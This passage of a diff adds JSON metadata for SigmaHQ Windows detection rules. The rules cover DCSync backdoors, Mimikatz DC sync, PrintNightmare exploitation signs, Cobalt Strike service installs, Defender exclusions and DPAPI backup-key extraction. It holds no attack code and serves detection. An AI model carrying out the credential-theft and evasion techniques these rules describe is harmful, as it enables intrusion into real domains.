+ { + "description": "Detects logons using NTLM to hosts that are potentially not part of the domain.", + "uuid": "ce5678bb-b9aa-4fb5-be4b-e57f686256ad", + "value": "Potential Remote Desktop Connection to Non-Domain Host", + "meta": { + "refs": [ + "n/a", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/ntlm/win_susp_ntlm_rdp.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1219" + ], + "creation_date": "2020/05/22", + "filename": "win_susp_ntlm_rdp.yml", + "author": "James Pemberton", + "level": "medium", + "falsepositive": [ + "Host connections to valid domains, exclude these.", + "Host connections not using host FQDN.", + "Host connections to external legitimate domains." + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects scenarios where an attacker enables the OpenSSH server and server starts to listening on SSH socket.", + "uuid": "3ce8e9a4-bc61-4c9b-8e69-d7e2492a8781", + "value": "OpenSSH Server Listening On Socket", + "meta": { + "refs": [ + "https://github.com/mdecrevoisier/EVTX-to-MITRE-Attack/tree/master/TA0008-Lateral%20Movement/T1021.004-Remote%20Service%20SSH", + "https://winaero.com/enable-openssh-server-windows-10/", + "https://docs.microsoft.com/en-us/windows-server/administration/openssh/openssh_install_firstuse", + "https://virtualizationreview.com/articles/2020/05/21/ssh-server-on-windows-10.aspx", + "https://medium.com/threatpunter/detecting-adversary-tradecraft-with-image-load-event-logging-and-eql-8de93338c16", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/openssh/win_sshd_openssh_server_listening_on_socket.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1021.004" + ], + "creation_date": "2022/10/25", + "filename": "win_sshd_openssh_server_listening_on_socket.yml", + "author": "mdecrevoisier", + "level": "medium", + "falsepositive": [ + "Legitimate administrator activity" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects events of driver load errors in print service logs that could be a sign of successful exploitation attempts of print spooler vulnerability CVE-2021-1675", + "uuid": "4e64668a-4da1-49f5-a8df-9e2d5b866718", + "value": "Possible CVE-2021-1675 Print Spooler Exploitation", + "meta": { + "refs": [ + "https://github.com/hhlxf/PrintNightmare", + "https://github.com/afwu/PrintNightmare", + "https://twitter.com/fuzzyf10w/status/1410202370835898371", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/printservice/win_exploit_cve_2021_1675_printspooler.yml" + ], + "tags": [ + "attack.execution", + "attack.t1569", + "cve.2021.1675" + ], + "creation_date": "2021/06/30", + "filename": "win_exploit_cve_2021_1675_printspooler.yml", + "author": "Florian Roth, KevTheHermit, fuzzyf10w, Tim Shelton", + "level": "high", + "falsepositive": [ + "Problems with printer drivers" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects driver load events print service operational log that are a sign of successful exploitation attempts against print spooler vulnerability CVE-2021-1675", + "uuid": "f34d942d-c8c4-4f1f-b196-22471aecf10a", + "value": "CVE-2021-1675 Print Spooler Exploitation", + "meta": { + "refs": [ + "https://twitter.com/MalwareJake/status/1410421967463731200", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/printservice/win_exploit_cve_2021_1675_printspooler_operational.yml" + ], + "tags": [ + "attack.execution", + "attack.t1569", + "cve.2021.1675" + ], + "creation_date": "2021/07/01", + "filename": "win_exploit_cve_2021_1675_printspooler_operational.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "This detection uses Windows security events to detect suspicious access attempts to the registry key of Azure AD Health monitoring agent.\nThis detection requires an access control entry (ACE) on the system access control list (SACL) of the following securable object HKLM\\SOFTWARE\\Microsoft\\Microsoft Online\\Reporting\\MonitoringAgent.\n", + "uuid": "ff151c33-45fa-475d-af4f-c2f93571f4fe", + "value": "Azure AD Health Monitoring Agent Registry Keys Access", + "meta": { + "refs": [ + "https://o365blog.com/post/hybridhealthagent/", + "https://github.com/OTRF/Set-AuditRule/blob/c3dec5443414231714d850565d364ca73475ade5/rules/registry/aad_connect_health_monitoring_agent.yml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_aadhealth_mon_agent_regkey_access.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1012" + ], + "creation_date": "2021/08/26", + "filename": "win_security_aadhealth_mon_agent_regkey_access.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "This detection uses Windows security events to detect suspicious access attempts to the registry key values and sub-keys of Azure AD Health service agents (e.g AD FS).\nInformation from AD Health service agents can be used to potentially abuse some of the features provided by those services in the cloud (e.g. Federation).\nThis detection requires an access control entry (ACE) on the system access control list (SACL) of the following securable object: HKLM:\\SOFTWARE\\Microsoft\\ADHealthAgent.\nMake sure you set the SACL to propagate to its sub-keys.\n", + "uuid": "1d2ab8ac-1a01-423b-9c39-001510eae8e8", + "value": "Azure AD Health Service Agents Registry Keys Access", + "meta": { + "refs": [ + "https://o365blog.com/post/hybridhealthagent/", + "https://github.com/OTRF/Set-AuditRule/blob/c3dec5443414231714d850565d364ca73475ade5/rules/registry/aad_connect_health_service_agent.yml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_aadhealth_svc_agent_regkey_access.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1012" + ], + "creation_date": "2021/08/26", + "filename": "win_security_aadhealth_svc_agent_regkey_access.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "This rule tries to detect token impersonation and theft. (Example: DuplicateToken(Ex) and ImpersonateLoggedOnUser with the LOGON32_LOGON_NEW_CREDENTIALS flag.)", + "uuid": "02f7c9c1-1ae8-4c6a-8add-04693807f92f", + "value": "Access Token Abuse", + "meta": { + "refs": [ + "https://attack.mitre.org/techniques/T1134/001/", + "https://www.elastic.co/fr/blog/how-attackers-abuse-access-token-manipulation", + "https://www.manageengine.com/log-management/cyber-security/access-token-manipulation.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_access_token_abuse.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1134.001" + ], + "creation_date": "2022/11/06", + "filename": "win_security_access_token_abuse.yml", + "author": "Michaela Adams, Zach Mathis", + "level": "medium", + "falsepositive": [ + "Anti-Virus" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Backdooring domain object to grant the rights associated with DCSync to a regular user or machine account using Powerview\\Add-DomainObjectAcl DCSync Extended Right cmdlet, will allow to re-obtain the pwd hashes of any user/computer", + "uuid": "2c99737c-585d-4431-b61a-c911d86ff32f", + "value": "Powerview Add-DomainObjectAcl DCSync AD Extend Right", + "meta": { + "refs": [ + "https://twitter.com/menasec1/status/1111556090137903104", + "https://www.specterops.io/assets/resources/an_ace_up_the_sleeve.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_account_backdoor_dcsync_rights.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1098" + ], + "creation_date": "2019/04/03", + "filename": "win_security_account_backdoor_dcsync_rights.yml", + "author": "Samir Bousseaden; Roberto Rodriguez @Cyb3rWard0g; oscd.community; Tim Shelton; Maxence Fossat", + "level": "high", + "falsepositive": [ + "New Domain Controller computer account, check user SIDs within the value attribute of event 5136 and verify if it's a regular user or DC computer account." + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detect priv users or groups recon based on 4661 eventid and known privileged users or groups SIDs", + "uuid": "35ba1d85-724d-42a3-889f-2e2362bcaf23", + "value": "AD Privileged Users or Groups Reconnaissance", + "meta": { + "refs": [ + "https://blog.menasec.net/2019/02/threat-hunting-5-detecting-enumeration.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_account_discovery.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1087.002" + ], + "creation_date": "2019/04/03", + "filename": "win_security_account_discovery.yml", + "author": "Samir Bousseaden", + "level": "high", + "falsepositive": [ + "If source account name is not an admin then its super suspicious" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects certificate creation with template allowing risk permission subject", + "uuid": "5ee3a654-372f-11ec-8d3d-0242ac130003", + "value": "ADCS Certificate Template Configuration Vulnerability", + "meta": { + "refs": [ + "https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_adcs_certificate_template_configuration_vulnerability.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.credential_access" + ], + "creation_date": "2021/11/17", + "filename": "win_security_adcs_certificate_template_configuration_vulnerability.yml", + "author": "Orlinum , BlueDefenZer", + "level": "low", + "falsepositive": [ + "Administrator activity", + "Proxy SSL certificate with subject modification", + "Smart card enrollement" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects certificate creation with template allowing risk permission subject and risky EKU", + "uuid": "bfbd3291-de87-4b7c-88a2-d6a5deb28668", + "value": "ADCS Certificate Template Configuration Vulnerability with Risky EKU", + "meta": { + "refs": [ + "https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_adcs_certificate_template_configuration_vulnerability_eku.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.credential_access" + ], + "creation_date": "2021/11/17", + "filename": "win_security_adcs_certificate_template_configuration_vulnerability_eku.yml", + "author": "Orlinum , BlueDefenZer", + "level": "high", + "falsepositive": [ + "Administrator activity", + "Proxy SSL certificate with subject modification", + "Smart card enrollement" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects the creation or removal of a computer. Can be used to detect attacks such as DCShadow via the creation of a new SPN.", + "uuid": "20d96d95-5a20-4cf1-a483-f3bda8a7c037", + "value": "Add or Remove Computer from DC", + "meta": { + "refs": [ + "https://github.com/Yamato-Security/EnableWindowsLogSettings/blob/7f6d755d45ac7cc9fc35b0cbf498e6aa4ef19def/ConfiguringSecurityLogAuditPolicies.md", + "https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4741", + "https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4743", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_add_remove_computer.yml" + ], + "tags": "No established tags", + "creation_date": "2022/10/14", + "filename": "win_security_add_remove_computer.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects logon with \"Special groups\" and \"Special Privileges\" can be thought of as Administrator groups or privileges.", + "uuid": "94309181-d345-4cbf-b5fe-061769bdf9cb", + "value": "User with Privileges Logon", + "meta": { + "refs": [ + "https://github.com/Yamato-Security/EnableWindowsLogSettings/blob/7f6d755d45ac7cc9fc35b0cbf498e6aa4ef19def/ConfiguringSecurityLogAuditPolicies.md", + "https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4672", + "https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4964", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_admin_logon.yml" + ], + "tags": "No established tags", + "creation_date": "2022/10/14", + "filename": "win_security_admin_logon.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detect remote login by Administrator user (depending on internal pattern).", + "uuid": "0f63e1ef-1eb9-4226-9d54-8927ca08520a", + "value": "Admin User Remote Logon", + "meta": { + "refs": [ + "https://car.mitre.org/wiki/CAR-2016-04-005", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_admin_rdp_login.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1078.001", + "attack.t1078.002", + "attack.t1078.003", + "car.2016-04-005" + ], + "creation_date": "2017/10/29", + "filename": "win_security_admin_rdp_login.yml", + "author": "juju4", + "level": "low", + "falsepositive": [ + "Legitimate administrative activity." + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects access to $ADMIN share", + "uuid": "098d7118-55bc-4912-a836-dc6483a8d150", + "value": "Access to ADMIN$ Share", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_admin_share_access.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1021.002" + ], + "creation_date": "2017/03/04", + "filename": "win_security_admin_share_access.yml", + "author": "Florian Roth", + "level": "low", + "falsepositive": [ + "Legitimate administrative activity" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects WRITE_DAC access to a domain object", + "uuid": "028c7842-4243-41cd-be6f-12f3cf1a26c7", + "value": "AD Object WriteDAC Access", + "meta": { + "refs": [ + "https://threathunterplaybook.com/notebooks/windows/05_defense_evasion/WIN-190101151110.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_ad_object_writedac_access.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1222.001" + ], + "creation_date": "2019/09/12", + "filename": "win_security_ad_object_writedac_access.yml", + "author": "Roberto Rodriguez @Cyb3rWard0g", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects potential abuse of Active Directory Replication Service (ADRS) from a non machine account to request credentials.", + "uuid": "17d619c1-e020-4347-957e-1d1207455c93", + "value": "Active Directory Replication from Non Machine Account", + "meta": { + "refs": [ + "https://threathunterplaybook.com/notebooks/windows/06_credential_access/WIN-180815210510.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_ad_replication_non_machine_account.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.006" + ], + "creation_date": "2019/07/26", + "filename": "win_security_ad_replication_non_machine_account.yml", + "author": "Roberto Rodriguez @Cyb3rWard0g", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects access to a domain user from a non-machine account", + "uuid": "ab6bffca-beff-4baa-af11-6733f296d57a", + "value": "AD User Enumeration", + "meta": { + "refs": [ + "https://www.specterops.io/assets/resources/an_ace_up_the_sleeve.pdf", + "http://www.stuffithoughtiknew.com/2019/02/detecting-bloodhound.html", + "https://docs.microsoft.com/en-us/windows/win32/adschema/attributes-all", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_ad_user_enumeration.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1087.002" + ], + "creation_date": "2020/03/30", + "filename": "win_security_ad_user_enumeration.yml", + "author": "Maxime Thiebaut (@0xThiebaut)", + "level": "medium", + "falsepositive": [ + "Administrators configuring new users." + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects scenario where if a user is assigned the SeEnableDelegationPrivilege right in Active Directory it would allow control of other AD user objects.", + "uuid": "311b6ce2-7890-4383-a8c2-663a9f6b43cd", + "value": "Enabled User Right in AD to Control User Objects", + "meta": { + "refs": [ + "https://www.harmj0y.net/blog/activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_alert_active_directory_user_control.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1098" + ], + "creation_date": "2017/07/30", + "filename": "win_security_alert_active_directory_user_control.yml", + "author": "@neu5ron", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects scenarios where one can control another users or computers account without having to use their credentials.", + "uuid": "300bac00-e041-4ee2-9c36-e262656a6ecc", + "value": "Active Directory User Backdoors", + "meta": { + "refs": [ + "https://msdn.microsoft.com/en-us/library/cc220234.aspx", + "https://adsecurity.org/?p=3466", + "https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_alert_ad_user_backdoors.yml" + ], + "tags": [ + "attack.t1098", + "attack.persistence" + ], + "creation_date": "2017/04/13", + "filename": "win_security_alert_ad_user_backdoors.yml", + "author": "@neu5ron", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects scenario where weak encryption is enabled for a user profile which could be used for hash/password cracking.", + "uuid": "f6de9536-0441-4b3f-a646-f4e00f300ffd", + "value": "Weak Encryption Enabled and Kerberoast", + "meta": { + "refs": [ + "https://adsecurity.org/?p=2053", + "https://www.harmj0y.net/blog/activedirectory/roasting-as-reps/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_alert_enable_weak_encryption.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2017/07/30", + "filename": "win_security_alert_enable_weak_encryption.yml", + "author": "@neu5ron", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "This events that are generated when using the hacktool Ruler by Sensepost", + "uuid": "24549159-ac1b-479c-8175-d42aea947cae", + "value": "Hacktool Ruler", + "meta": { + "refs": [ + "https://github.com/sensepost/ruler", + "https://github.com/sensepost/ruler/issues/47", + "https://github.com/staaldraad/go-ntlm/blob/cd032d41aa8ce5751c07cb7945400c0f5c81e2eb/ntlm/ntlmv1.go#L427", + "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4776", + "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4624", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_alert_ruler.yml" + ], + "tags": [ + "attack.discovery", + "attack.execution", + "attack.t1087", + "attack.t1114", + "attack.t1059", + "attack.t1550.002" + ], + "creation_date": "2017/05/31", + "filename": "win_security_alert_ruler.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Go utilities that use staaldraad awesome NTLM library" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects Chafer activity attributed to OilRig as reported in Nyotron report in March 2018", + "uuid": "c0580559-a6bd-4ef6-b9b7-83703d98b561", + "value": "Chafer Activity", + "meta": { + "refs": [ + "https://nyotron.com/nyotron-discovers-next-generation-oilrig-attacks/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_apt_chafer_mar18_security.yml" + ], + "tags": [ + "attack.persistence", + "attack.g0049", + "attack.t1053.005", + "attack.s0111", + "attack.t1543.003", + "attack.defense_evasion", + "attack.t1112", + "attack.command_and_control", + "attack.t1071.004" + ], + "creation_date": "2018/03/23", + "filename": "win_security_apt_chafer_mar18_security.yml", + "author": "Florian Roth, Markus Neis, Jonhnathan Ribeiro, Daniil Yugoslavskiy, oscd.community", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects the deactivation and disabling of the Scheduled defragmentation task as seen by Slingshot APT group", + "uuid": "c5a178bf-9cfb-4340-b584-e4df39b6a3e7", + "value": "Defrag Deactivation", + "meta": { + "refs": [ + "https://securelist.com/apt-slingshot/84312/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_apt_slingshot.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1053", + "attack.s0111" + ], + "creation_date": "2019/03/04", + "filename": "win_security_apt_slingshot.yml", + "author": "Florian Roth, Bartlomiej Czyz (@bczyz1)", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects activity mentioned in Operation Wocao report", + "uuid": "74ad4314-482e-4c3e-b237-3f7ed3b9ca8d", + "value": "Operation Wocao Activity", + "meta": { + "refs": [ + "https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/", + "https://twitter.com/SBousseaden/status/1207671369963646976", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_apt_wocao.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1012", + "attack.defense_evasion", + "attack.t1036.004", + "attack.t1027", + "attack.execution", + "attack.t1053.005", + "attack.t1059.001" + ], + "creation_date": "2019/12/20", + "filename": "win_security_apt_wocao.yml", + "author": "Florian Roth, frack113", + "level": "high", + "falsepositive": [ + "Administrators that use checkadmin.exe tool to enumerate local administrators" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects remote task creation via at.exe or API interacting with ATSVC namedpipe", + "uuid": "f6de6525-4509-495a-8a82-1f8b0ed73a00", + "value": "Remote Task Creation via ATSVC Named Pipe", + "meta": { + "refs": [ + "https://blog.menasec.net/2019/03/threat-hunting-25-scheduled-tasks-for.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_atsvc_task.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.persistence", + "car.2013-05-004", + "car.2015-04-001", + "attack.t1053.002" + ], + "creation_date": "2019/04/03", + "filename": "win_security_atsvc_task.yml", + "author": "Samir Bousseaden", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Potential adversaries accessing the microphone and webcam in an endpoint.", + "uuid": "8cd538a4-62d5-4e83-810b-12d41e428d6e", + "value": "Processes Accessing the Microphone and Webcam", + "meta": { + "refs": [ + "https://twitter.com/duzvik/status/1269671601852813320", + "https://medium.com/@7a616368/can-you-track-processes-accessing-the-camera-and-microphone-7e6885b37072", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_camera_microphone_access.yml" + ], + "tags": [ + "attack.collection", + "attack.t1123" + ], + "creation_date": "2020/06/07", + "filename": "win_security_camera_microphone_access.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects known malicious service installs that appear in cases in which a Cobalt Strike beacon elevates privileges or lateral movement", + "uuid": "d7a95147-145f-4678-b85d-d1ff4a3bb3f6", + "value": "CobaltStrike Service Installations", + "meta": { + "refs": [ + "https://www.sans.org/webcasts/119395", + "https://www.crowdstrike.com/blog/getting-the-bacon-from-cobalt-strike-beacon/", + "https://thedfirreport.com/2021/08/29/cobalt-strike-a-defenders-guide/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_cobaltstrike_service_installs.yml" + ], + "tags": [ + "attack.execution", + "attack.privilege_escalation", + "attack.lateral_movement", + "attack.t1021.002", + "attack.t1543.003", + "attack.t1569.002" + ], + "creation_date": "2021/05/26", + "filename": "win_security_cobaltstrike_service_installs.yml", + "author": "Florian Roth, Wojciech Lesicki", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of the spoolss named pipe over SMB. This can be used to trigger the authentication via NTLM of any machine that has the spoolservice enabled.", + "uuid": "214e8f95-100a-4e04-bb31-ef6cba8ce07e", + "value": "DCERPC SMB Spoolss Named Pipe", + "meta": { + "refs": [ + "https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1", + "https://dirkjanm.io/a-different-way-of-abusing-zerologon/", + "https://twitter.com/_dirkjan/status/1309214379003588608", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_dce_rpc_smb_spoolss_named_pipe.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1021.002" + ], + "creation_date": "2018/11/28", + "filename": "win_security_dce_rpc_smb_spoolss_named_pipe.yml", + "author": "OTR (Open Threat Research)", + "level": "medium", + "falsepositive": [ + "Domain Controllers acting as printer servers too? :)" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects a threat actor creating a file named `iertutil.dll` in the `C:\\Program Files\\Internet Explorer\\` directory over the network for a DCOM InternetExplorer DLL Hijack scenario.", + "uuid": "c39f0c81-7348-4965-ab27-2fde35a1b641", + "value": "T1021 DCOM InternetExplorer.Application Iertutil DLL Hijack", + "meta": { + "refs": [ + "https://threathunterplaybook.com/notebooks/windows/08_lateral_movement/WIN-201009183000.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_dcom_iertutil_dll_hijack.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1021.002", + "attack.t1021.003" + ], + "creation_date": "2020/10/12", + "filename": "win_security_dcom_iertutil_dll_hijack.yml", + "author": "Roberto Rodriguez @Cyb3rWard0g, Open Threat Research (OTR)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects Mimikatz DC sync security events", + "uuid": "611eab06-a145-4dfa-a295-3ccc5c20f59a", + "value": "Mimikatz DC Sync", + "meta": { + "refs": [ + "https://twitter.com/gentilkiwi/status/1003236624925413376", + "https://gist.github.com/gentilkiwi/dcc132457408cf11ad2061340dcb53c2", + "https://blog.blacklanternsecurity.com/p/detecting-dcsync?s=r", + "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4662", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_dcsync.yml" + ], + "tags": [ + "attack.credential_access", + "attack.s0002", + "attack.t1003.006" + ], + "creation_date": "2018/06/03", + "filename": "win_security_dcsync.yml", + "author": "Benjamin Delpy, Florian Roth, Scott Dermott, Sorina Ionescu", + "level": "high", + "falsepositive": [ + "Valid DC Sync that is not covered by the filters; please report", + "Local Domain Admin account used for Azure AD Connect" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects scenarios where an windows defender exclusion was added in registry where an entity would want to bypass antivirus scanning from windows defender", + "uuid": "e9c8808f-4cfb-4ba9-97d4-e5f3beaa244d", + "value": "Windows Defender Exclusion Set", + "meta": { + "refs": [ + "https://www.bleepingcomputer.com/news/security/gootkit-malware-bypasses-windows-defender-by-setting-path-exclusions/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_defender_bypass.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2019/10/26", + "filename": "win_security_defender_bypass.yml", + "author": "@BarryShooshooga", + "level": "high", + "falsepositive": [ + "Intended inclusions by administrator" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects an installation of a device that is forbidden by the system policy", + "uuid": "c9eb55c3-b468-40ab-9089-db2862e42137", + "value": "Device Installation Blocked", + "meta": { + "refs": [ + "https://github.com/Yamato-Security/EnableWindowsLogSettings/blob/7f6d755d45ac7cc9fc35b0cbf498e6aa4ef19def/ConfiguringSecurityLogAuditPolicies.md", + "https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-6423", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_device_installation_blocked.yml" + ], + "tags": "No established tags", + "creation_date": "2022/10/14", + "filename": "win_security_device_installation_blocked.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects the default \"UserName\" used by the DiagTrackEoP POC", + "uuid": "2111118f-7e46-4fc8-974a-59fd8ec95196", + "value": "DiagTrackEoP Default Login Username", + "meta": { + "refs": [ + "https://github.com/Wh04m1001/DiagTrackEoP/blob/3a2fc99c9700623eb7dc7d4b5f314fd9ce5ef51f/main.cpp#L46", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_diagtrack_eop_default_login_username.yml" + ], + "tags": [ + "attack.privilege_escalation" + ], + "creation_date": "2022/08/03", + "filename": "win_security_diagtrack_eop_default_login_username.yml", + "author": "Nasreddine Bencherchali", + "level": "critical", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects scenarios where system auditing (ie: windows event log auditing) is disabled.\nThis may be used in a scenario where an entity would want to bypass local logging to evade detection when windows event logging is enabled and reviewed.\nAlso, it is recommended to turn off \"Local Group Policy Object Processing\" via GPO, which will make sure that Active Directory GPOs take precedence over local/edited computer policies via something such as \"gpedit.msc\".\nPlease note, that disabling \"Local Group Policy Object Processing\" may cause an issue in scenarios of one off specific GPO modifications -- however it is recommended to perform these modifications in Active Directory anyways.\n", + "uuid": "69aeb277-f15f-4d2d-b32a-55e883609563", + "value": "Disabling Windows Event Auditing", + "meta": { + "refs": [ + "https://bit.ly/WinLogsZero2Hero", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_disable_event_logging.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.002" + ], + "creation_date": "2017/11/19", + "filename": "win_security_disable_event_logging.yml", + "author": "@neu5ron", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects tools extracting LSA secret DPAPI domain backup key from Domain Controllers", + "uuid": "4ac1f50b-3bd0-4968-902d-868b4647937e", + "value": "DPAPI Domain Backup Key Extraction", + "meta": { + "refs": [ + 